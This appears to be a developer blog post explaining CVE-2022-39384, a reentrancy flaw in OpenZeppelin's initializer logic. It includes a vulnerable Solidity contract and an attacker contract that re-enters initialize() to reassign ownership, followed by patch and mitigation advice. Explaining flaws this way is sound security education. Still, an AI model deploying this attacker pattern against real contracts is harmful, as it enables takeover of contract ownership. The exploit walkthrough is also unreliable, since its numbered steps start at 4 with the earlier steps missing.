OpenZeppelin Contracts is the gold standard for building secure, reusable smart contracts. If you’ve used upgradeable contracts or proxies, chances are you’ve relied on their battle-tested code. But even the best libraries have their flaws, and that’s what makes understanding issues like CVE-2022-39384 so important.

Let’s break down what happened, how it could be exploited, and how you can keep your contracts secure.

What Is CVE-2022-39384?

CVE-2022-39384 refers to a reentrancy vulnerability in initializer functions in OpenZeppelin Contracts, affecting versions after 3.2. and before 4.4.1. This flaw appears when you use initializer functions on contracts deployed as minimal proxies—a common pattern for upgradeable contracts.

Normally, an initializer (like initialize()) runs once, just after deploying an upgradeable proxy, and should never be called again. But a quirk in OpenZeppelin’s logic left a small but meaningful window where that promise could be broken if the initializer itself made an *untrusted*, non-view, external call.

Why Did It Happen?

OpenZeppelin supports multiple inheritance, where a contract can inherit from many base contracts—each possibly with its own initializer. To handle this, OpenZeppelin’s Initializable contract allows for a single execution of each initializer per contract.

However, the code had an *exception* intended to support these multiple inheritance scenarios. This exception, combined with certain proxy deployment patterns (notably minimal proxies), opened the door for a classic issue—reentrancy.

In simple terms:  
If a contract’s initializer calls another contract (externally and not just reading), and that contract is malicious, it could (directly or indirectly) trigger the initializer to run again, before the first execution finishes. This could result in some state being set twice, or unset variables, defying expectations.

Exploit Details: How Could It Be Abused?

The window for exploitation is narrow and mainly applies to minimal proxies where the initializer is called after contract creation (not typical of upgradeable proxies which are initialized in the same transaction as deployment).

The untrusted contract calls back into the initializing contract's initialize() function.

4. Since the original initialize() is not fully completed, reentrancy protections fail due to the multiple inheritance exception.
5. State changes within the initializer can be performed multiple times, potentially leading to erroneous contract state or other logical errors.

Below is a *simplified* pseudocode version, inspired by OpenZeppelin’s patterns

// Vulnerable contract using OpenZeppelin <4.4.1
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract MyProxyContract is Initializable {
    address public owner;
    address public untrustedContract;

    function initialize(address _untrustedContract) public initializer {
        owner = msg.sender;
        untrustedContract = _untrustedContract;

        // Dangerous: Making an external call during initialization!
        (bool success, ) = untrustedContract.call(
            abi.encodeWithSignature("onInitialized(address)", msg.sender)
        );
        require(success, "External call failed");
    }
}

And here’s what an attacker’s contract could do

contract Attacker {
    address public victim;
    bool public reentered = false;

    function attack(address _victim) public {
        victim = _victim;
        // Call initialize on the victim, passing this contract as untrusted
        victim.call(abi.encodeWithSignature("initialize(address)", address(this)));
    }

    function onInitialized(address) external {
        if (!reentered) {
            reentered = true;
            // Re-enter the initialize function!
            victim.call(abi.encodeWithSignature("initialize(address)", address(this)));
        }
    }
}

With this sequence, the victim’s initialize logic runs twice when it never should, potentially letting the attacker double-dip into owner assignment or other sensitive setup logic.

OpenZeppelin patched their contracts in version 4.4.1. The fix involves

- Strengthening the state tracking in the initializer modifier to prevent any reentrancy during initialization, even in edge-case inheritance scenarios.
- See the OpenZeppelin PR #3397 for the detailed change.

Should You Panic?

Not necessarily. OpenZeppelin notes that most upgradeable contracts call initializers within the same transaction as deployment, making reentrancy impossible in practice. Still, if your pattern initializes contracts after deployment (like minimal proxies often do), there is a risk.

How Can You Protect Yourself?

1. Upgrade Immediately:  
Update to OpenZeppelin Contracts v4.4.1+. Simple as that.

2. Avoid Dangerous Patterns:  
Never make untrusted, external, non-view calls in initializer functions. Call only trusted contracts, or better, delay such calls until after initialization.

3. Review Your Initializers:

Look for patterns like this in your codebase

function initialize() public initializer {
    // check for any external calls here!
}

Further Resources

- OpenZeppelin security advisory
- GitHub issue and PR
- CVE details at GitHub Advisory Database
- Official OpenZeppelin contracts docs

Conclusion

CVE-2022-39384 is a great reminder that even the most reliable libraries can have edge-case vulnerabilities, especially when rare design patterns are involved. If you’re using OpenZeppelin Contracts between versions 3.2. and 4.4.1, take a close look at your initializers and upgrade now!

*Stay safe, review your proxies, and as always, test for the unexpected!*


*This article is exclusive to our readers and written in simple language for everyday developers and blockchain enthusiasts.*

Timeline

Published on: 11/04/2022 22:15:00 UTC
Last modified on: 11/07/2022 17:07:00 UTC